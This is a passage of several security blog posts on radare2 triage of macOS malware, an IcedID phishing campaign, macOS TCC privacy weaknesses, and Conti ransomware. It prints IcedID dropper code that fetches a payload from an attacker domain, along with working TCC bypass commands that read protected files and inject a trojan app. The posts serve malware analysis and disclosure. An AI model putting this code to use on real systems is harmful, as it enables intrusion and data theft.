However, most such posts are aimed at CTF/crackme readers and typically showcase simple ELF or PE binaries. Very few are aimed at malware analysts, and even fewer still are aimed at macOS malware analysts, so they are not much use to us from a practical point of view. I’m going to assume that you’ve read at least one or two basic intro r2 posts before starting on the material below. For a rare example of r2 introductory material using Mach-O samples (albeit not malware), I recommend having a look at these two helpful posts: 1, 2.

Before we dive in, I do want to say a little bit about why r2 is a good choice for macOS malware analysis, as I expect at least some readers are likely already familiar with other tools such as IDA, Ghidra and perhaps even Hopper, and may be asking that question from the outset.

Radare2 is an extremely powerful and customizable reversing platform, and – at least the way I use it – a great deal of that power comes from the very feature that puts some people off: it’s a command line tool rather than a GUI tool.

Because of that, r2 is very fast, lightweight, and stable. You can install and run it very quickly in a new VM without having to worry about dependencies or licensing (the latter, because it’s free) and it’s much less likely (in my experience) to crash on you or corrupt a file or refuse to start. And as we’ll see in the tips below, you can triage a binary with it very quickly indeed!

Moreover, because it’s a command line tool, it integrates very easily with other command line tools that you are likely familiar with, including things like grep, awk, diff and so on. Other tools typically require you to develop separate scripts in python or Java to do various tailored tasks, but with r2 you can often accomplish the same just by piping output through familiar command line tools (we’ll be looking at some examples of doing that below).

Finally, because r2 is free, multi-platform and runs on pretty much anything at all that can run a terminal emulator, learning how to reverse with r2 is a transferable skill you can take advantage of anywhere.

Enough of the hard sell, let’s get down to triaging some malware! For this post, we’re going to look at a malware sample called OSX.Calisto. Be sure to set up an isolated VM, download the sample from here (password:infect3d) and install r2.

Then, let’s get started!

1. Fun with Functions, Calls, XREFS and More

Our sample, OSX.Calisto, is a backdoor that tries to exfiltrate the user’s keychain, username and clear text copy of the login password. The first tip about using r2 quickly is to load your sample with the -AA option, like so:

% r2 -AA calisto

This performs the same analysis as loading the file and then running aaa from within r2. It’s not only faster to do it in one step, it also cuts out the possibility of forgetting to run the analysis command after loading the binary.

Now that our Calisto sample is loaded and analysed, the first thing that we should do is list all the functions in verbose mode with afll. What is particularly useful about this command is that it gives a great overview of the malware. Not only can we see all the function calls, we can see which are imports, which are dead code, which are making the most system calls, which take the most (or least) arguments, how many variables each declares and more. From here, we are in a very good position to see both what the malware does and where it does it.

Even from just the top of that list, we can see that this malware makes a lot of calls to NSUserName. Typically, though, we will want to sort that table. Although r2 has an internal function for sorting the function table (aflt), I have not found the output to be reliable.

Fortunately, there is another way, which will introduce us to a more general “power feature” of r2. This is to pipe the output of afll through awk and sort. Say, for example, we would like to sort only select columns (we don’t want all that noisy data!):

afll | awk '{print $15 " calls: " $10" locals: "$11" args: "$12" xrefs: "$13}' | sort -k 3 -n

Here we pipe the output through awk, selecting only the columns we want and then pipe and sort on the third column (number of calls). We add the -n option to make the sort numerical. We can reverse the sort with -r.

Note that we never left r2 throughout this whole process, making the whole thing extremely convenient. If we wanted to do the same and output the results to file, just do that as you would normally on the command line with a > <path_to_file>.

2. Quickly Dive Into a Function’s Calls

Having found something of interest, we will naturally want to take a quick look at it to see if our hunch is right. We can do that rapidly in a couple of ways as the next few tips will show.

Normally, from that function table, it would make sense to look for functions that have a particular profile such as lots of calls, args, and/or xrefs, and then look at those particular functions in more detail.

Back in our Calisto example, we noted there was one function that had a lot of calls: sym.func.100005620, but we don’t necessarily want to spend time looking at that function if those calls aren’t doing anything interesting.

We can get a look at what calls a function makes very quickly just by typing in a variant of the afll command, aflm. You might want to just punch that in and see what it outputs.

aflm

Yeah, useful, but overwhelming! As we noted in the previous section, we can easily filter things with command line tools while still in r2, so we could pipe that output to grep. But how many lines should we grep after the pattern? For example, if you try

aflm | grep -A 100 5620:

You’ll shoot way over target, because although there may be more calls in that function, aflm only lists each unique call. A better way is to pipe through sed and tell sed to stop piping when it hits another colon (signalling another function listing).

aflm | sed -n ‘/5620:/,/:/p’

The above command says “search for the pattern “/5620:/”, keep going (“/,/”) until you find the next “/:/”. The final “/p” tells sed to print all that it found.

You’ll get an output like this:

Awesome! Now we can see all the calls that this huge function makes. From that alone we can infer that this function appears to grab the User name, does some string searching, possibly builds an array out of what it finds, and then uploads some data to a remote server! And we haven’t even done any disassembly yet!

3. Strings on Steroids

At this point, we might want to go back to the function table and repeat the above steps on a few different functions, but we also have another option. Having seen that NSUserName is called on multiple occasions, we might want to look more closely at how the malware is interacting with the user. As we explained in our previous guide on reversing macOS malware, extracting strings from a binary can give you a very good insight into what the malware is up to, so much so that some malware authors take great efforts to obfuscate and encrypt the binary’s strings (something we’ll be looking at in a later post). Fortunately, the author of Calisto wasn’t one of those. Let’s see how we can use r2 to help us with string analysis.

The main command for dumping strings is

izz

However, that dump isn’t pretty and doesn’t make for easy analysis. Fortunately, there’s a much nicer way to look at and filter strings in radare2. Let’s try this instead:

izz~...

The tilde is r2’s internal “grep” command, but more importantly the three periods pipe the string dump into a “HUD” (Heads Up Display) from where we can type filter characters. For example, after issuing the above command, type a single “/” to reveal all strings (like paths and URLs, for example) containing a forward slash. Backspace to clear that and try other filters in turn like “http” and “user”. As the images below show, we quickly hit pay dirt!

The first image above looks like a lead on the malware’s C2 addresses, while the second shows us what looks very much like a path the malware is going to write data to. Both of these are ideal for our IoCs and for hunting, subject to further confirmation.

4. Fast Seek and Disassembly

What we’ve found after just a few short commands and a couple of minutes of triaging our binary is very promising. Let’s see if we can dig a little deeper. Our output from the HUD gives us the addresses of all those strings. Let’s take a look at the address for what looks like uploading exfiltrated data to a C2:

http://40.87.56.192/calisto/upload.php?username="

From the output, we can see that this string is referenced at 0x1000128d0. Let’s go to that address and see what we have. First, double-click the address to select it then copy it with Cmd-C. To escape the HUD, hit ‘return’ so that you are returned to the r2 prompt.

Next, we’ll invoke the ‘seek’ command, which is simply the letter s, and paste the address after it. Hit ‘return’. Type pd (print disassembly) and scroll up in your Terminal window to get to the start of the disassembly.

The disassembly shows us where the string is called via the xref at the top. Let’s again select and Cmd-C that address and do another seek. After the seek, this time we’ll do pdf.

The difference is that pdf will disassemble an entire function, no matter how long it is. On the other hand, pd will disassemble a given number of instructions. Thus, it’s good to know both. You can’t use pdf from an address that isn’t a function, and sometimes you want to just disassemble a limited number of instructions: this is where pd comes in handy. However, when what you want is a complete function’s disassembly, pdf is your friend.

The pdf command gives you exactly what you’d expect from a disassembler, and if you’ve done any reversing before or even just read some r2 intros as suggested above, you’ll recognize this output (as pretty much all r2 intros start with pdf!). In any case, from here you can get a pretty good overview of what the function does, and r2 is nicer than some other disassemblers in that things like stack strings are shown by default.

You might also like to experiment with pdc. This is a “not very good” pseudocode output. One of r2’s weakpoints, it has to be said, is the ability to render disassembly in good pseudocode, but pdc can sometimes be helpful for focus.

Finally, before we move on to the next tip, I’m just going to give you a variation on something we mentioned above that I often like to do with pdf, which is to grep the calls out of it. This is particularly useful for really big functions. In other words, try

pdf~call

for a quick look at the calls in a given function.

5. Rabin2 | Master of Binary Info Extraction

When we discussed strings, I mentioned the izz command, which is a child of the iz command, which in turn is a child of r2’s i command. As you might have guessed, i stands for information, and the various incantations of i are all very useful while you’re in the middle of analysis (if you happen to forget what file you are analyzing, i~file is your friend!).

Some of the useful variants of the i command are as follows:

1. get file metadata [i]
2. look at what libraries it imports [ii]
3. look at what strings it contains [iz]
4. look at what classes/functions/methods it contains [icc]
5. find the entrypoint [ie]

However, for rapid triage, there is a much better way to get a bird’s eye view of everything there is to know about a file. When you installed r2, you also installed a bunch of other utilities that r2 makes use of but which you can call independently. Perhaps the most useful of these is rabin2. In a new Terminal window, try man rabin2 to see its options.

While we can take advantage of rabin2’s power via the i command in r2, we can get more juice out of it by opening a separate Terminal window and calling rabin2 directly on our malware sample. For our purposes, focused as we are in this post on rapid triage, the only rabin2 option we need to know is:

% rabin2 -g <path_to_binary>

The -g option outputs everything there is to know about the file, including strings, symbols, sections, imports, and such things like whether the file is stripped, what language it was written in, and so on. It is essentially all of the options of r2’s i command rolled into one (if it’s possible to make r2 punch out all of that in one command, I’m not aware of how).

Strangely, one of the best outputs from rabin2 is when its -g option outputs almost nothing at all! That tells you that you are almost certainly dealing with packed malware, and that in itself is a great guide on where to go next in your investigation (we’ll be looking at packed files in a later post).

Meanwhile, it’s time to introduce our last rapid analysis pro trick, Visual Graph mode!

6. Visual Graph Mode

For those of you used to a GUI disassembler, if you’ve followed this far you may well be thinking… “ahuh…but how do I get a function call graph from a command line tool?” A graph is often a make or break deal when trying to triage malware rapidly, and a tool that doesn’t have one is probably not going to win many friends. Fortunately, r2 has you covered!

Returning to our r2 prompt, type VV to enter visual graph mode.

Visual graph mode is super useful for being able to trace logic paths through a malware sample and to see which paths are worth further investigation. I will readily admit that learning your way around the navigation options takes some practice. However, it is an extremely useful tool and one which I frequently return to with samples that attempt to obstruct analysis.

The options for using Visual Graph mode are nicely laid out in this post here. Once you learn your way around, it’s relatively simple and powerful, but it’s also easy to get lost when you’re first starting out. Like Vi and Vim, inexperienced users can sometimes find themselves trapped in an endless world of error beeps with r2’s Visual Graph mode. However, as with all things in r2, whenever you find yourself “stuck”, hit q on the keyboard (repeatedly, if needs be). If you find yourself needing help, hit ?.

I highly recommend that you experiment with the Calisto sample to familiarize yourself with how it works. In the next post, we’ll be looking in more detail at how Visual Graph mode can help us when we tackle anti-analysis measures, so give yourself a heads up by playing around with it in the meantime.

Conclusion

In this post, we’ve looked at how to use radare2 to quickly triage macOS malware samples, seen how it can easily be integrated with other command line tools most malware analysts are already familiar with, and caught a glimpse of its visual graph mode.

There’s much more to learn about radare2 and macOS malware, and while we hope you’ve enjoyed the tips we’ve shared here, there’s many more ways to use this amazing tool to achieve your aims in reversing macOS malware. We hope you’ll join us in the next post in this series as we continue our exploration of intermediate and advanced macOS malware analysis techniques.

The post 6 Pro Tricks for Rapid macOS Malware Triage with Radare2 appeared first on SentinelLabs.

Executive Summary

• SentinelLabs has uncovered a recent IcedID campaign and analyzed nearly 500 artifacts associated with the attacks.
• IcedID Office macro documents use multiple techniques in an attempt to bypass detection.
• To further obfuscate the attack, data embedded in the document itself is used by the malicious macro. Analyzing only the macro provides an incomplete view of the attack.
• The HTA dropper embedded in the document is obfuscated JavaScript, which executes in memory and utilizes additional techniques to evade AV/EDR.

Overview

Many security researchers thought that IcedID would be the successor to Emotet after the coordinated takedown of Emotet malware in early 2021 by law enforcement agencies. IcedID (aka BokBot) was designed as a banking trojan targeting victims’ financial information and acting as a dropper for other malware. Initially discovered in 2017, IcedID has become a prominent component in financially-driven cybercrime. The malware is primarily spread via phishing emails typically containing Office file attachments. The files are embedded with malicious macros that launch the infection routine, which retrieves and runs the payload.

In May 2021, SentinelLabs observed a new campaign delivering IcedID through widespread phishing emails laced with poisoned MS Word attachments that use a simple but effective technique to avoid suspicion. This ongoing IcedID campaign attempts to gain a foothold on the victim’s machine through a crafted Word doc in which the embedded macro itself does not contain any malicious code.

Just like a genuine macro, the IcedID macro operates on the content of the document itself. In this case, that content includes obfuscated JavaScript code. This simple technique helps to evade many automated static and dynamic analysis engines since the content’s malicious behavior is dependent upon execution through an MS Office engine.

The obfuscated JavaScript is responsible for dropping a Microsoft HTML Application (HTA) file to C:UsersPublic. The macro then employs Internet Explorer’s mshta.exe utility to execute the HTA file. This second stage execution reaches out to the attacker’s C2 and downloads a DLL file with a .jpg extension to the same Public folder. The HTA file calls rundll32 to execute this payload, which serves to collect and exfiltrate user data to the attacker’s C2.

Below we present further technical details of this recent campaign from examination of almost 500 artifacts.

Technical Analysis

The IcedID phishing email contains what looks like an innocuous enough Word attachment. As expected with these kinds of malware operations, opening the document prompts the user to enable editing and then ‘Enable content’.

What is unexpected is that the macro itself is uninteresting.

In this case, the malicious code is found within the document itself, reversed JavaScript that is then base64 encoded.

The MS Word macro writes this code out as an HTA file to C:UsersPublic. While this ensures success in terms of user permissions, arguably this is an operational mistake from the attacker’s side in the sense that this folder is a location generally monitored by security products.

The HTA code is executed by the macro using the GetObject() and Navigate() functions. This behavior is a “VB Legacy” technique that conforms to how older Office macro files behave.

Once the HTA code is running, it deobfuscates the JavaScript code in-memory and utilizes two additional techniques in an attempt to evade AV/EDR security controls:

• The HTA file contains msscriptcontrol.scriptcontrol COM component, which is used to execute interactively with JavaScript.
• The code calls JavaScript functions from VBScript code within the HTA. This technique also confuses different code and activity tracking engines within certain endpoint security products.

Below is the deobfuscated and ‘beautified’ version of the code from the HTA file.

var memoryVb = new ActiveXObject("msxml2.xmlhttp");
memoryVb.open("GET", "hxxp[:]//awkwardmanagement2013z[.]com/adda/hMbq4kHp63r/qv2KrtCyxsQZG2qnnjAyyS2THO0dNJcShIQ/mF4QLSMm/daIPccWw5X/Hpoop0jx2JCAW2rMXVnPrPu/JoSE6bOyTrt/lun6?sid=Kbgn&cid=yvlBl2mDXC7d6A6q&gRqB5BwPw=3P3WdrE&user=Ma", false);
memoryVb.send();
if (memoryVb.status == 200) {

	try {
		var rightClass = new ActiveXObject("adodb.stream");
		rightClass.open;
		rightClass.type = 1;
		rightClass.write(memoryVb.responsebody);
		rightClass.savetofile("c:userspublicsizeTempStruct.jpg", 2);
		rightClass.close;
	} catch (e) {}
}

The code initializes an MSXML2.XMLHTTP request and specifies the method, URL, and authentication information for the request. If the URL responds with a status code of 200, the code proceeds by downloading the remote file with a “.jpg” file extension. Unsurprisingly, the file is not what it pretends to be.

Looking at related domains by the same actor shows the breadth of activity. When tracking this campaign, the domain mappingmorrage[.]top had numerous duplicates of the “.jpg” file and the second stage binary associated with this campaign. Multiple file names are used such as “sizeQuery.jpg”, “sizeTempStruct.jpg”, “tmpSizeLocal.jpg” and so on.

IcedID JPG/DLL

Changing file extensions is a common, if unsophisticated, technique aimed at evasion. In this case, the “.jpg” file is actually a DLL. Analysis of the file’s exports reveals the DLLRegisterServer function, which is an obvious candidate for the initial installer of the IcedID malware.

To unpack this binary, we can load rundll32.exe in xdbg64 and use the command line option to specify the exported function in sizeTeamStruct.dll, as shown in the screenshot below.

To get to the packed binary, we need to add a breakpoint on VirtualAlloc and execute the run command until the breakpoint is hit. We want to look for the call that is responsible for allocating memory in the address space and dump the binary from the address location.

Looking at the dumped binary in PE Studio what catches the attention are the WinHttpOpenRequest, WinHttpSendRequest, and WinHttpReceiveResponse functions.

The WinHttpOpenRequest creates an HTTP request handle and stores the specified parameters in that handle, while WinHttpSendRequest sends the specified request to the C2 server and the WinHttpReceiveResponse waits to receive the response.

After loading the binary into xdbg64, we add the breakpoint on WinHttpOpenRequest. When this breakpoint is hit, we can see from the disassembly that the code is generating the domain through an xoring operation. This helps us to understand how the C2 value is generated.

Some of the domains collected from our analysis of around 500 samples of IcedID included:

epicprotovir[.]download
essoandmobilcards[.]com
immotransfer[.]top
kickersflyers[.]bid
mappingmorrage[.]top
momenturede[.]fun
provokordino[.]space
quadrogorrila[.]casa
vaclicinni[.]xyz
vikolifer[.]top

These appear to be masked through CloudFlare IPs. For example,

hxxp[://]mappingmorrage[.]top/
172.67.196.74
104.21.57.254
2606:4700:3037::6815:39fe
2606:4700:3037::ac43:c44a

The malware’s main module functions to steal credentials from the victim’s machine, exfiltrating information back to the C2 server.

A cookie which has information from the infected host is sent to the C2 and contains the OS type, username, computer name, and CPU domain, giving the operators a good understanding of the compromised environment.

__gads:
_gat: Windows version info 6.3.9600.64 is Windows 8.1 64bit
_ga: Processor CPUID information
_u: Username and Computername DESKTOP-FRH1VBHMarcoFB35A6FF06678D37
__io: Domain id
_gid: NIC

Discovering network traffic with the headers listed above is an indication that the host has been infected with IcedID malware.

Conclusion

Many IcedID attacks begin with a phishing email and users opening the attachment. In this campaign, IcedID uses a maldoc in the initial infection stage in an attempt to bypass defenses by interacting with the contents of the document itself. The use of an HTA file with its dependency on IE’s mshta.exe is reasonably unusual behavior that defenders can monitor for in their environments. This, along with other techniques such as changing the file extension and the behavior of the DLL, should be detected by a capable Next Gen security solution.

Indicators of Compromise

https://github.com/SentineLabs/icedID

Executive Summary

• TCC is meant to protect user data from unauthorized access, but weaknesses in its design mean that protections are easily overridden inadvertently.
• Automation, by design, allows Full Disk Access to be ‘backdoored’ while also lowering the authorization barrier.
• Multiple partial and full TCC bypasses are known, with at least one actively exploited in the wild.
• TCC does not prevent processes reading and writing to ‘protected’ locations, a loophole that can be used to hide malware.

Introduction

In recent years, protecting sensitive user data on-device has become of increasing importance, particularly now that our phones, tablets and computers are used for creating, storing and transmitting the most sensitive data about us: from selfies and family videos to passwords, banking details, health and medical data and pretty much everything else.

With macOS, Apple took a strong position on protecting user data early on, implementing controls as far back as 2012 in OSX Mountain Lion under a framework known as ‘Transparency, Consent and Control’, or TCC for short. With each iteration of macOS since then, the scope of what falls under TCC has increased to the point now that users can barely access their own data – or data-creating devices like the camera and microphone – without jumping through various hoops of giving ‘consent’ or ‘control’ to the relevant applications through which such access is mediated.

There have been plenty of complaints about what this means with regards to usability, but we do not intend to revisit those here. Our concern in this paper is to highlight a number of ways in which TCC fails when users and IT admins might reasonably expect it to succeed.

We hope that by bringing attention to these failures, users and admins might better understand how and when sensitive data can be exposed and take that into account in their working practices.

Crash Course: What’s TCC Again?

Apple’s latest platform security guide no longer mentions TCC by name, but instead refers to ‘protecting app access to user data’. The current version of the platform security guide states:

“Apple devices help prevent apps from accessing a user’s personal information without permission using various technologies…[in] System Preferences in macOS, users can see which apps they have permitted to access certain information as well as grant or revoke any future access.”

In common parlance, we’re talking about privacy protections that are primarily managed by the user in System Preferences’ Privacy tab of the Security & Privacy pane.

Mac devices controlled by an MDM solution may also set various privacy preferences via means of a Profile. Where in effect, these preferences will not be visible to users in the Privacy pane above. However, they can be enumerated via the TCC database. The command for doing so changes slightly with Big Sur and later.

macOS 11 (Big Sur) and later:

sudo sqlite3 /Library/Application Support/com.apple.TCC/TCC.db "SELECT client,auth_value FROM access WHERE service=='kTCCServiceSystemPolicyAllFiles'" | grep '2'$

macOS 10.15 (Catalina) and earlier:

sudo sqlite3 /Library/Application Support/com.apple.TCC/TCC.db "SELECT client,allowed FROM access WHERE service == 'kTCCServiceSystemPolicyAllFiles'" | grep '1'$

The command line also presents users and administrators with the /usr/bin/tccutil utility, although its claim to offer the ability “to manage the privacy database” is a little exaggerated since the only documented command is reset. The tool is useful if you need to blanket wipe TCC permissions for the system or a user, but little else.

Under the hood, all these permissions are managed by the TCC.framework at /System/Library/PrivateFrameworks/TCC.framework/Versions/A/Resources/tccd.

Looked at in a rather narrow way with regard to how users work with their Macs in practice, one could argue that the privacy controls Apple has designed with this framework work as intended when users (and apps) behave as intended in that narrow sense. However, as we shall now see, problems arise when one or both go off script.

Full Disk Access – One Rule That Breaks Them All

To understand the problems in Apple’s implementation of TCC, it’s important to understand that TCC privileges exist at two levels: the user level and the system level. At the user level, individual users can allow certain permissions that are designed only to apply to their own account and not others. If Alice allows the Terminal access to her Desktop or Downloads folders, that’s no skin off Bob’s nose. When Bob logs in, Terminal won’t be able to access Bob’s Desktop or Downloads folders.

At least, that’s how it’s supposed to work, but if Alice is an admin user and gives Terminal Full Disk Access (FDA), then Alice can quite happily navigate to Bob’s Desktop and Downloads folders (and everyone else’s) regardless of what TCC settings Bob (or those other users) set. Note that Bob is not afforded any special protection if he is an admin user, too. Full Disk Access means what it says: it can be set by one user with admin rights and it grants access to all users’ data system-wide.

While this may seem like good news for system administrators, there are implications that may not be readily apparent, and these implications affect the administrator’s own data security.

When Alice grants FDA permission to the Terminal for herself, all users now have FDA permission via the Terminal as well. The upshot is that Alice isn’t only granting herself the privilege to access others’ data, she’s granting others the privilege to access her data, too.

Surprisingly, Alice’s (no doubt) unintended permissiveness also extends to unprivileged users. As reported in CVE-2020-9771, allowing the Terminal to have Full Disk Access renders all data readable without any further security challenges: the entire disk can be mounted and read even by non-admin users. Exactly how this works is nicely laid out in this blog post here, but in short any user can create and mount a local snapshot of the system and read all other users’ data.

The ‘trick’ to this lies in two command line utilities, both of which are available to all users: /usr/bin/tmutil and /sbin/mount. The first allows us to create a local snapshot of the entire system, and the second to mount that snapshot as an apfs read-only file system. From there, we can navigate all users data as captured on the mounted snapshot.

It’s important to understand that this is not a bug and will not be fixed (at least, ‘works as intended’ appears to be Apple’s position at the time of writing). The CVE mentioned above was the bug for being able to exploit this without Full Disk Access. Apple’s fix was to make it only possible when Full Disk Access has been granted. The tl;dr for Mac admins?

When you grant yourself Full Disk Access, you grant all users (even unprivileged users) the ability to read all other users’ data on the disk, including your own.

Backdooring Full Disk Access Through Automation

This situation isn’t restricted only to users: it extends to user processes, too. Any application granted Full Disk Access has access to all user data, by design. If that application is malware, or can be controlled by malware, then so does the malware. But application control is managed by another TCC preference, Automation.

And here lies another trap: there is one app on the Mac that always has Full Disk Access but never appears in the Full Disk Access pane in System Preferences: the Finder.

Any application that can control the Finder (listed in ‘Automation’ in the Privacy pane) also has Full Disk Access, although you will see neither the Finder nor the controlling app listed in the Full Disk Access pane.

Because of this complication, administrators must be aware that even if they never grant FDA permissions, or even if they lock down Full Disk Access (perhaps via MDM solution), simply allowing an application to control the Finder in the ‘Automation’ pane will bypass those restrictions.

In the image above, Terminal, and two legitimate third party automation apps, Script Debugger and FastScripts, all have Full Disk Access, although none are shown in the Full Disk Access privacy pane:

As noted above, this is because the Finder has irrevocable FDA permissions, and these apps have been given automation control over the Finder. To see how this works, here’s a little demonstration.

~  osascript<<EOD
set a_user to do shell script "logname"
tell application "Finder"
set desc to path to home folder
set copyFile to duplicate (item "private.txt" of folder "Desktop" of folder a_user of item "Users" of disk of home) to folder desc with replacing
set t to paragraphs of (do shell script "cat " & POSIX path of (copyFile as alias)) as text
end tell
do shell script "rm " & POSIX path of (copyFile as alias)
t
EOD

Although the Terminal is not granted Full Disk Access, if it has been granted Automation privileges for any reason in the past, executing the script above in the Terminal will return the contents of whatever the file “private.txt” contains. As “private.txt” is located on the user’s Desktop, a location ostensibly protected by TCC, users might reasonably expect that the contents of this file would remain private if no applications had been explicitly granted FDA permissions. This is demonstrably not the case.

The obvious mitigation here is not to allow apps the right to automate the Finder. However, let’s note two important points about that suggestion.

First, there are many legitimate reasons for granting automation of the Finder to the Terminal or other productivity apps: any mildly proficient user who is interested in increasing their productivity through automation may well have done so or wish to do so. Unfortunately, this is an “All-In” deal. If the user has a specific purpose for doing this, there’s no way to prevent other less legitimate uses of Terminal’s (or other programs’) use of this access.

Second, backdooring FDA access in this way results in a lowering of the authorization barrier. Granting FDA in the usual way requires an administrator password. However, one can grant consent for automation of the Finder (and thus backdoor FDA) without a password. A consent dialog with a simple click-through will suffice:

While the warning text is explicit enough (if the user reads it), it is far from transparent that given the Finder’s irrevocable Full Disk Access rights, the power being invested in the controlling app goes far beyond the current user’s consent, or control.

As a bonus, this is not a per-time consent. If it has ever been granted at any point in the past, then that permission remains in force (and thus transparent, in the not-good sense, to the user) unless revoked in System Preferences ‘Automation’ pane or via the previously mentioned tccutil reset command.

The tl;dr: keep a close and regular eye on what is allowed to automate the Finder in your System Preferences Privacy pane.

The Sorry Tale of TCC Bypasses

Everything we’ve mentioned so far is actually by design, but there is a long history of TCC bypasses to bear in mind as well. When macOS Mojave first went on public release, SentinelOne was the first to note that TCC could be bypassed via SSH (this finding was later duplicated by others). The indications from multiple researchers are that there are plenty more bypasses out there.

The most recent TCC bypass came to light after it was discovered being exploited by XCSSET malware in August 2020. Although Apple patched this particular flaw some 9 months later in May 2021, it is still exploitable on systems that haven’t been updated to macOS 11.4 or the latest security update to 10.15.7.

On a vulnerable system, it’s trivially easy to reproduce.

1. Create a simple trojan application that needs TCC privileges. Here we’ll create an app that needs access to the current user’s Desktop to enumerate the files saved there.

   % osacompile -e 'do shell script "ls -al /Users/sphil/Desktop >> /tmp/lsout"' -o /tmp/ls.app

2. Copy this new “ls.app” trojan to inside the bundle of an app that’s already been given TCC permission to access the Desktop.

   % cp -R /tmp/ls.app /Applications/Some Privileged.app/

   One way you can find the current permitted list of apps is from the ‘Files and Folders’ category in the Privacy tab of System Preferences’ Security & Privacy pane (malware takes another route, as we’ll explain shortly).

3. Execute the trojan app:

   % open /Applications/Some Privileged.app/ls.app

Security-minded readers will no doubt be wondering how an attacker achieves Step 2 without already having knowledge of TCC permissions – you can’t enumerate the list of privileged apps in the TCC.db from the Terminal unless Terminal already has Full Disk Access.

Assuming the target hasn’t already granted Terminal FDA privileges for some other legitimate reason (and who hasn’t these days?), an attacker, red teamer or malware could instead enumerate over the contents of the /Applications folder and take educated guesses based on what’s found there, e.g., Xcode, Camtasia, and Zoom are all applications that, if installed, are likely to be privileged.

Similarly, one could hardcode a list of apps known to have such permissions and search the target machine for them. This is precisely how XCSSET malware works: the malware is hardcoded with a list of apps that it expects to have screen capture permissions and injects its own app into the bundle of any of those found.

Unfortunately, the fix for this particular bug doesn’t effectively stop malware authors. If the bypass fails, it’s a simple matter to just impersonate the Finder and ask the user for control. As with the Automation request, this only requires the user to click-through their consent rather than provide a password.

As we noted above, the (real) Finder already has Full Disk Access by default, so users seeing a request dialog asking to grant the Finder access to any folder should immediately raise suspicion that something is amiss.

TCC – Just One More Thing

That almost wraps up our tour of TCC gotchas, but there’s one more worth pointing out. A common misunderstanding with Apple’s User privacy controls is that it prevents access to certain locations (e.g., Desktop, Documents, Downloads, iCloud folders). However, that is not quite the case.

Administrators need to be aware that TCC doesn’t protect against files being written to TCC protected areas by unprivileged processes, and similarly nor does it stop files so written from being read by those processes.

Why does this matter? It matters because if you have any kind of security or monitoring software installed that doesn’t have access to TCC-protected areas, there’s nothing to stop malware from hiding some or all of its components in these protected areas. TCC isn’t going to stop malware using those locations – a blind spot that not every Mac sys administrator is aware of – so don’t rely on TCC to provide some kind of built-in protected ‘safe-zone’. That’s not how it works, when it works at all.

Conclusion

We’ve seen how macOS users can easily and unknowingly expose data they think is protected by TCC simply by doing the things that macOS users, particularly admins, are often inclined to do. Ironically, most of these ‘inadvertent breaches’ are only possible because of TCC’s own lack of transparency. Why, for example, is the Finder not listed in the Full Disk Access pane? Why is it not clear that Automation of the Finder backdoors Full Disk Access? And why is password-authentication downgraded to a simple consent prompt for what is, effectively, the same privilege?

Other questions raised by this post concern whether consent should have finer grained controls so that prompts can be optionally repeated at certain intervals, and – perhaps most importantly –  whether users should be able to protect their own data by being allowed to opt out of FDA granted by other users on the same device.

We know that malware abuses some of these loopholes, and that various TCC bugs exist that have yet to be patched. Our only conclusion at this point has to be that neither users nor admins should place too much faith in the ability of TCC as it is currently implemented to protect data from unauthorized access.

By Idan Weizman & Antonio Pirozzi

Not yet two years old and already in its seventh iteration, Ransomware as a Service variant Conti has proven to be an agile and adept malware threat, capable of both autonomous and guided operation and with unparalleled encryption speed. As of June 2021, Conti’s unique feature set has helped its affiliates extort several million dollars from over 400 organizations.

In this report, we describe in unprecedented detail the rapid evolution of this ransomware and how it has adapted quickly to defenders’ attempts to detect and analyze it. In this post, we summarize our main findings.

Read the Full Report

Conti Background

Conti is developed and maintained by the so-called TrickBot gang, and it is mainly operated through a RaaS affiliation model. The Conti ransomware is derived from the codebase of Ryuk and relies on the same TrickBot infrastructure.

Initially, Ryuk and later Conti were delivered exclusively by TrickBot. However, by March 2021, as detections for TrickBot improved, BazarLoader/BazarBackdoor began to be used as the tool of choice for the delivery of Conti.

Conti samples first began to be seen around October 2019. Recent attacks, such as that on Ireland’s public health service, demonstrate that Conti has succeeded in becoming just as dangerous if not more so than its predecessor, for both organizations and the public at large. There are 399 reported Conti incidents at the time of writing:

In common with many other ransomware families, Conti also operates a leaks site in order to put further pressure on its victims to pay.

Conti – Evolution With Focus

This technical analysis aims to outline the Conti phylogenesis since the ransomware first appeared on the scene, in order to build a comprehensive knowledge of Conti’s evolution and its development pipeline.

For this study, we clustered Conti samples by timestamps. All the samples used in this research are readily available from OSINT and are recognized as Conti both by the community and by static and dynamic analysis done herein.

We found that each iteration implemented new features in Conti and evolved existing ones. In particular, we see a focus on the following key ransomware characteristics across the evolution of Conti variants:

Obfuscation: Since the early ‘test samples’ (late 2019), Conti started implementing a simple XOR mechanism to hide the API names resolved at runtime. From June 2020, a custom encoding function for string obfuscation was also employed, creating difficulties for static analysis and detection tools.

Speed: Conti uses up to 32 concurrent CPU threads for file encryption operations. Starting from the iteration of September 2020, the developers switched from AES to the CHACHA algorithm to further speed up the encryption process. This translates into less time required to lock victims’ data and reduce the chance of the operation being blocked.

File Encryption: starting from September 2020, a new logic for file encryption was added. The logic implements two different modes: full and partial. depending on file extension and file dimension. From January 2021, encryption through IoCompletionPorts was replaced by C++ queues and locks.

The Early Samples

The earliest sample of Conti we found dates from the end of 2019 and includes indications that it’s an early test version (e.g., the ransom note contains the text “test note”). It took eight months for this version to make headlines, but analysis of this ‘prototype’ helps us understand how Conti developed over time.

SHA-256: 2f334c0802147aa0eee90ff0a2b0e1022325b5cba5cb5236ed3717a2b0582a9c
Packed: Yes
Timestamp: 2019/10/06 14:08:28
File Type: EXE

SHA-256: 4f43a66d96270773f4e849055a844feb6ef234d7340b797f8763b7a9f8d80583
Packed: Yes
Timestamp: 2019/10/06 12:43:23
File Type: DLL

SHA-256: 94bdec109405050d31c2748fe3db32a357f554a441e0eae0af015e8b6461553e
Packed: No
Timestamp: 2019/10/21 15:00:01
File Type: EXE

SHA-256: 77b1fcae9e8f0a5a739c35961382e2b3f239a05c1135c4a8efe1964a263d5a47
Packed: No
Timestamp: 2019/10/21 15:00:01
File Type: EXE

These early samples have only a few imported functions linked at load time. Therefore, the first thing the code does is manually load required libraries at runtime using LoadLibraryA and GetProcAddress.

Moreover, all API names are encoded using a simple XOR with the byte 0x99. The names of DLLs are not encoded in this early version, save for some optional imports from Rstrtmgr.dll, the DLL responsible for Microsoft’s Windows’ Restart Manager function. The GetProcAddress function ends by making sure it’s got all the mandatory APIs it was looking for. Otherwise, it exits the program with ExitProcess.

Two resources loaded from the PE file are of particular note. The first will be used as the text for the ransom note (which is set to “test note” in this earliest version), while the second is a list of comma-separated strings denoting files that should be encrypted in case they contain a substring from the list.

